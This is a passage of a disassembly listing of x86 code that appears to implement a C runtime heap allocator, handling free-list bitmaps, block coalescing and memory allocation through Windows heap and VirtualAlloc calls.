sub_40EF2A pop ecx mov edi, eax cmp edi, ebx jnz short loc_40CF49 call sub_40C862 mov dword ptr [eax], 0Ch xor eax, eax jmp short loc_40CF9A ; --------------------------------------------------------------------------- loc_40CF49: ; CODE XREF: sub_40CEE6+52j push 0Ah call sub_40CFA9 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi], ebx jnz short loc_40CF84 push 0FA0h push edi call sub_413600 pop ecx pop ecx test eax, eax jnz short loc_40CF80 push edi call sub_40ADC8 pop ecx call sub_40C862 mov dword ptr [eax], 0Ch mov [ebp+var_1C], ebx jmp short loc_40CF8B ; --------------------------------------------------------------------------- loc_40CF80: ; CODE XREF: sub_40CEE6+81j mov [esi], edi jmp short loc_40CF8B ; --------------------------------------------------------------------------- loc_40CF84: ; CODE XREF: sub_40CEE6+70j push edi call sub_40ADC8 pop ecx loc_40CF8B: ; CODE XREF: sub_40CEE6+98j ; sub_40CEE6+9Cj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40CFA0 mov eax, [ebp+var_1C] loc_40CF9A: ; CODE XREF: sub_40CEE6+44j ; sub_40CEE6+61j call __SEH_epilog4 retn sub_40CEE6 endp ; =============== S U B R O U T I N E ======================================= sub_40CFA0 proc near ; CODE XREF: sub_40CEE6+ACp ; DATA XREF: UPX0:004268F8o push 0Ah call sub_40CECF pop ecx retn sub_40CFA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFA9 proc near ; CODE XREF: sub_40ADC8+1Ep ; sub_40AE56+1Dp ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi lea esi, ds:42A1B8h[eax*8] cmp dword ptr [esi], 0 jnz short loc_40CFD1 push eax call sub_40CEE6 pop ecx test eax, eax jnz short loc_40CFD1 push 11h call sub_40DAD0 pop ecx loc_40CFD1: ; CODE XREF: sub_40CFA9+13j ; sub_40CFA9+1Ej push dword ptr [esi] call dword_41D1CC ; RtlEnterCriticalSection pop esi pop ebp retn sub_40CFA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDC proc near ; CODE XREF: sub_40ADC8+29p ; sub_40B8A1+5Bp ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov ecx, dword_430278 mov eax, dword_43027C imul ecx, 14h add ecx, eax jmp short loc_40D004 ; --------------------------------------------------------------------------- loc_40CFF3: ; CODE XREF: sub_40CFDC+2Aj mov edx, [ebp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short loc_40D00A add eax, 14h loc_40D004: ; CODE XREF: sub_40CFDC+15j cmp eax, ecx jb short loc_40CFF3 xor eax, eax loc_40D00A: ; CODE XREF: sub_40CFDC+23j pop ebp retn sub_40CFDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D00C proc near ; CODE XREF: sub_40ADC8+38p ; sub_40B8A1+B5p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx mov [ebp+var_4], ecx test cl, 1 jnz loc_40D31E push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] mov [ebp+arg_4], ebx test dl, 1 jnz short loc_40D0D9 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_40D071 push 3Fh pop edx loc_40D071: ; CODE XREF: sub_40D00C+60j mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_40D0BB mov ebx, 80000000h cmp edx, 20h jnb short loc_40D09C mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_40D0B8 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40D0B8 ; --------------------------------------------------------------------------- loc_40D09C: ; CODE XREF: sub_40D00C+75j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40D0B8 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40D0B8: ; CODE XREF: sub_40D00C+87j ; sub_40D00C+8Ej ... mov ebx, [ebp+arg_4] loc_40D0BB: ; CODE XREF: sub_40D00C+6Bj mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_40D0D9: ; CODE XREF: sub_40D00C+57j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_40D0E7 push 3Fh pop edx loc_40D0E7: ; CODE XREF: sub_40D00C+D6j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_40D185 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_40D10C mov ebx, esi loc_40D10C: ; CODE XREF: sub_40D00C+FCj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx mov [ebp+var_4], ecx cmp edx, esi jbe short loc_40D11E mov edx, esi loc_40D11E: ; CODE XREF: sub_40D00C+10Ej cmp ebx, edx jz short loc_40D180 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_40D168 mov esi, 80000000h cmp ebx, 20h jnb short loc_40D14E mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_40D168 mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_40D168 ; --------------------------------------------------------------------------- loc_40D14E: ; CODE XREF: sub_40D00C+129j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_40D168 mov ecx, [ebp+arg_0] and [ecx+4], esi loc_40D168: ; CODE XREF: sub_40D00C+11Fj ; sub_40D00C+139j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_40D180: ; CODE XREF: sub_40D00C+114j mov esi, [ebp+arg_4] jmp short loc_40D188 ; --------------------------------------------------------------------------- loc_40D185: ; CODE XREF: sub_40D00C+E4j mov ebx, [ebp+arg_0] loc_40D188: ; CODE XREF: sub_40D00C+177j cmp [ebp+var_C], 0 jnz short loc_40D196 cmp ebx, edx jz loc_40D216 loc_40D196: ; CODE XREF: sub_40D00C+180j mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_40D216 mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl cmp edx, 20h jnb short loc_40D1ED cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40D1DC mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_40D1DC: ; CODE XREF: sub_40D00C+1C0j mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_40D216 ; --------------------------------------------------------------------------- loc_40D1ED: ; CODE XREF: sub_40D00C+1BAj cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40D203 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_40D203: ; CODE XREF: sub_40D00C+1E5j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_40D216: ; CODE XREF: sub_40D00C+184j ; sub_40D00C+1A8j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_40D31D mov eax, dword_42E878 test eax, eax jz loc_40D30F mov ecx, dword_43028C mov esi, dword_41D0E4 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; dword_41D0E4 mov ecx, dword_43028C mov eax, dword_42E878 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_42E878 mov eax, [eax+10h] mov ecx, dword_43028C and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_42E878 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_42E878 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_40D2A4 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_42E878 loc_40D2A4: ; CODE XREF: sub_40D00C+28Dj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_40D30F push ebx push 0 push dword ptr [eax+0Ch] call esi ; dword_41D0E4 mov eax, dword_42E878 push dword ptr [eax+10h] push 0 push dword_42E724 call dword_41D0CC ; RtlFreeHeap mov ecx, dword_430278 mov eax, dword_42E878 imul ecx, 14h mov edx, dword_43027C sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_40CA30 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_430278 cmp eax, dword_42E878 jbe short loc_40D305 sub [ebp+arg_0], 14h loc_40D305: ; CODE XREF: sub_40D00C+2F3j mov eax, dword_43027C mov dword_430284, eax loc_40D30F: ; CODE XREF: sub_40D00C+225j ; sub_40D00C+29Cj mov eax, [ebp+arg_0] mov dword_42E878, eax mov dword_43028C, edi loc_40D31D: ; CODE XREF: sub_40D00C+218j pop ebx loc_40D31E: ; CODE XREF: sub_40D00C+39j pop edi pop esi leave retn sub_40D00C endp ; =============== S U B R O U T I N E ======================================= sub_40D322 proc near ; CODE XREF: sub_40D7BB+C2p mov eax, dword_430288 push esi mov esi, dword_430278 push edi xor edi, edi cmp esi, eax jnz short loc_40D369 add eax, 10h imul eax, 14h push eax push dword_43027C push edi push dword_42E724 call dword_41D1A0 ; RtlReAllocateHeap cmp eax, edi jnz short loc_40D357 loc_40D353: ; CODE XREF: sub_40D322+68j ; sub_40D322+94j xor eax, eax jmp short loc_40D3CF ; --------------------------------------------------------------------------- loc_40D357: ; CODE XREF: sub_40D322+2Fj add dword_430288, 10h mov esi, dword_430278 mov dword_43027C, eax loc_40D369: ; CODE XREF: sub_40D322+11j imul esi, 14h add esi, dword_43027C push 41C4h push 8 push dword_42E724 call dword_41D0D4 ; RtlAllocateHeap mov [esi+10h], eax cmp eax, edi jz short loc_40D353 push 4 push 2000h push 100000h push edi call dword_41D0E8 ; VirtualAlloc mov [esi+0Ch], eax cmp eax, edi jnz short loc_40D3B8 push dword ptr [esi+10h] push edi push dword_42E724 call dword_41D0CC ; RtlFreeHeap jmp short loc_40D353 ; --------------------------------------------------------------------------- loc_40D3B8: ; CODE XREF: sub_40D322+82j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_430278 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_40D3CF: ; CODE XREF: sub_40D322+33j pop edi pop esi retn sub_40D322 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3D2 proc near ; CODE XREF: sub_40D7BB+D8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_40D3EC ; --------------------------------------------------------------------------- loc_40D3E9: ; CODE XREF: sub_40D3D2+1Cj add eax, eax inc ebx loc_40D3EC: ; CODE XREF: sub_40D3D2+15j test eax, eax jge short loc_40D3E9 mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_40D405: ; CODE XREF: sub_40D3D2+3Dj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_40D405 push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call dword_41D0E8 ; VirtualAlloc test eax, eax jnz short loc_40D438 or eax, 0FFFFFFFFh jmp loc_40D4D5 ; --------------------------------------------------------------------------- loc_40D438: ; CODE XREF: sub_40D3D2+5Cj lea edx, [edi+7000h] mov [ebp+var_4], edx cmp edi, edx ja short loc_40D488 mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_40D450: ; CODE XREF: sub_40D3D2+B1j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_40D450 mov edx, [ebp+var_4] loc_40D488: ; CODE XREF: sub_40D3D2+71j mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_40D4C5 or [eax+4], edi loc_40D4C5: ; CODE XREF: sub_40D3D2+EEj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_40D4D5: ; CODE XREF: sub_40D3D2+61j pop edi pop esi pop ebx leave retn sub_40D3D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4DA proc near ; CODE XREF: sub_40B8A1+77p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_40D67E test bl, 1 jnz loc_40D677 add ebx, ecx cmp esi, ebx jg loc_40D677 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx mov [ebp+var_8], ecx cmp ecx, 3Fh jbe short loc_40D551 push 3Fh pop ecx mov [ebp+var_8], ecx loc_40D551: ; CODE XREF: sub_40D4DA+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_40D59C mov ebx, 80000000h cmp ecx, 20h jnb short loc_40D57D shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_40D59C mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40D59C ; --------------------------------------------------------------------------- loc_40D57D: ; CODE XREF: sub_40D4DA+87j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40D59C mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40D59C: ; CODE XREF: sub_40D4DA+7Dj ; sub_40D4DA+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_40D665 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_40D5D6 push 3Fh pop edi loc_40D5D6: ; CODE XREF: sub_40D4DA+F7j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_40D653 mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl cmp edi, 20h jnb short loc_40D62A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_40D622 mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_40D622: ; CODE XREF: sub_40D4DA+138j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_40D64A ; --------------------------------------------------------------------------- loc_40D62A: ; CODE XREF: sub_40D4DA+132j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_40D640 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_40D640: ; CODE XREF: sub_40D4DA+154j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_40D64A: ; CODE XREF: sub_40D4DA+14Ej mov edx, 80000000h shr edx, cl or [eax], edx loc_40D653: ; CODE XREF: sub_40D4DA+120j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_40D668 ; --------------------------------------------------------------------------- loc_40D665: ; CODE XREF: sub_40D4DA+E0j mov edx, [ebp+arg_4] loc_40D668: ; CODE XREF: sub_40D4DA+189j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_40D7B3 ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D4DA+52j ; sub_40D4DA+5Cj xor eax, eax jmp loc_40D7B6 ; --------------------------------------------------------------------------- loc_40D67E: ; CODE XREF: sub_40D4DA+49j jge loc_40D7B3 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi mov [ebp+arg_4], ebx mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_40D6A9 push 3Fh pop esi loc_40D6A9: ; CODE XREF: sub_40D4DA+1CAj test byte ptr [ebp+var_4], 1 jnz loc_40D733 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_40D6C2 push 3Fh pop esi loc_40D6C2: ; CODE XREF: sub_40D4DA+1E3j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_40D70C mov ebx, 80000000h cmp esi, 20h jnb short loc_40D6ED mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_40D709 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40D709 ; --------------------------------------------------------------------------- loc_40D6ED: ; CODE XREF: sub_40D4DA+1F8j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40D709 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40D709: ; CODE XREF: sub_40D4DA+20Aj ; sub_40D4DA+211j ... mov ebx, [ebp+arg_4] loc_40D70C: ; CODE XREF: sub_40D4DA+1EEj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_40D733 push 3Fh pop esi loc_40D733: ; CODE XREF: sub_40D4DA+1D3j ; sub_40D4DA+254j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_40D7AA mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl cmp esi, 20h jnb short loc_40D781 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40D779 mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_40D779: ; CODE XREF: sub_40D4DA+28Fj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_40D7A1 ; --------------------------------------------------------------------------- loc_40D781: ; CODE XREF: sub_40D4DA+289j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40D797 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_40D797: ; CODE XREF: sub_40D4DA+2ABj lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_40D7A1: ; CODE XREF: sub_40D4DA+2A5j mov edx, 80000000h shr edx, cl or [eax], edx loc_40D7AA: ; CODE XREF: sub_40D4DA+277j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_40D7B3: ; CODE XREF: sub_40D4DA+198j ; sub_40D4DA:loc_40D67Ej xor eax, eax inc eax loc_40D7B6: ; CODE XREF: sub_40D4DA+19Fj pop edi pop esi pop ebx leave retn sub_40D4DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7BB proc near ; CODE XREF: sub_40AE56+28p ; sub_40B8A1+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp sub esp, 14h mov eax, dword_430278 mov ecx, [ebp+arg_0] imul eax, 14h add eax, dword_43027C add ecx, 17h and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 push ebx dec ecx cmp ecx, 20h push esi push edi jge short loc_40D7F4 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_40D801 ; --------------------------------------------------------------------------- loc_40D7F4: ; CODE XREF: sub_40D7BB+2Cj add ecx, 0FFFFFFE0h or edx, 0FFFFFFFFh xor esi, esi shr edx, cl mov [ebp+var_8], edx loc_40D801: ; CODE XREF: sub_40D7BB+37j mov ecx, dword_430284 mov ebx, ecx jmp short loc_40D81C ; --------------------------------------------------------------------------- loc_40D80B: ; CODE XREF: sub_40D7BB+66j mov edx, [ebx+4] mov edi, [ebx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_40D823 add ebx, 14h loc_40D81C: ; CODE XREF: sub_40D7BB+4Ej mov [ebp+arg_0], ebx cmp ebx, eax jb short loc_40D80B loc_40D823: ; CODE XREF: sub_40D7BB+5Cj cmp ebx, eax jnz short loc_40D8A6 mov ebx, dword_43027C jmp short loc_40D840 ; --------------------------------------------------------------------------- loc_40D82F: ; CODE XREF: sub_40D7BB+8Aj mov edx, [ebx+4] mov edi, [ebx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_40D847 add ebx, 14h loc_40D840: ; CODE XREF: sub_40D7BB+72j mov [ebp+arg_0], ebx cmp ebx, ecx jb short loc_40D82F loc_40D847: ; CODE XREF: sub_40D7BB+80j cmp ebx, ecx jnz short loc_40D8A6 jmp short loc_40D859 ; --------------------------------------------------------------------------- loc_40D84D: ; CODE XREF: sub_40D7BB+A0j cmp dword ptr [ebx+8], 0 jnz short loc_40D85D add ebx, 14h mov [ebp+arg_0], ebx loc_40D859: ; CODE XREF: sub_40D7BB+90j cmp ebx, eax jb short loc_40D84D loc_40D85D: ; CODE XREF: sub_40D7BB+96j cmp ebx, eax jnz short loc_40D892 mov ebx, dword_43027C jmp short loc_40D872 ; --------------------------------------------------------------------------- loc_40D869: ; CODE XREF: sub_40D7BB+BCj cmp dword ptr [ebx+8], 0 jnz short loc_40D879 add ebx, 14h loc_40D872: ; CODE XREF: sub_40D7BB+ACj mov [ebp+arg_0], ebx cmp ebx, ecx jb short loc_40D869 loc_40D879: ; CODE XREF: sub_40D7BB+B2j cmp ebx, ecx jnz short loc_40D892 call sub_40D322 mov ebx, eax mov [ebp+arg_0], ebx test ebx, ebx jnz short loc_40D892 loc_40D88B: ; CODE XREF: sub_40D7BB+E9j xor eax, eax jmp loc_40DA9B ; --------------------------------------------------------------------------- loc_40D892: ; CODE XREF: sub_40D7BB+A4j ; sub_40D7BB+C0j ... push ebx call sub_40D3D2 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_40D88B loc_40D8A6: ; CODE XREF: sub_40D7BB+6Aj ; sub_40D7BB+8Ej mov dword_430284, ebx mov eax, [ebx+10h] mov edx, [eax] mov [ebp+var_4], edx cmp edx, 0FFFFFFFFh jz short loc_40D8CD mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_40D8F6 loc_40D8CD: ; CODE XREF: sub_40D7BB+FCj and [ebp+var_4], 0 mov edx, [eax+0C4h] lea ecx, [eax+44h] loc_40D8DA: ; CODE XREF: sub_40D7BB+136j mov edi, [ecx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_40D8F3 inc [ebp+var_4] mov edx, [ecx+84h] add ecx, 4 jmp short loc_40D8DA ; --------------------------------------------------------------------------- loc_40D8F3: ; CODE XREF: sub_40D7BB+128j mov edx, [ebp+var_4] loc_40D8F6: ; CODE XREF: sub_40D7BB+110j mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_40D924 mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_40D924 ; --------------------------------------------------------------------------- loc_40D921: ; CODE XREF: sub_40D7BB+16Bj add ecx, ecx inc edi loc_40D924: ; CODE XREF: sub_40D7BB+155j ; sub_40D7BB+164j test ecx, ecx jge short loc_40D921 mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_40D945 push 3Fh pop esi loc_40D945: ; CODE XREF: sub_40D7BB+185j cmp esi, edi jz loc_40DA4E mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_40D9B1 cmp edi, 20h mov ebx, 80000000h jge short loc_40D985 mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_40D9AE mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_40D9B1 ; --------------------------------------------------------------------------- loc_40D985: ; CODE XREF: sub_40D7BB+1A2j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_40D9AE mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_40D9B1 ; --------------------------------------------------------------------------- loc_40D9AE: ; CODE XREF: sub_40D7BB+1BEj ; sub_40D7BB+1E6j mov ebx, [ebp+arg_0] loc_40D9B1: ; CODE XREF: sub_40D7BB+198j ; sub_40D7BB+1C8j ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_40DA5A mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_40DA4B mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_40DA22 cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_40DA10 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_40DA10: ; CODE XREF: sub_40D7BB+248j mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_40DA4B ; --------------------------------------------------------------------------- loc_40DA22: ; CODE XREF: sub_40D7BB+242j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_40DA35 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_40DA35: ; CODE XREF: sub_40D7BB+26Bj mov ecx, [ebp+var_4] lea edi, 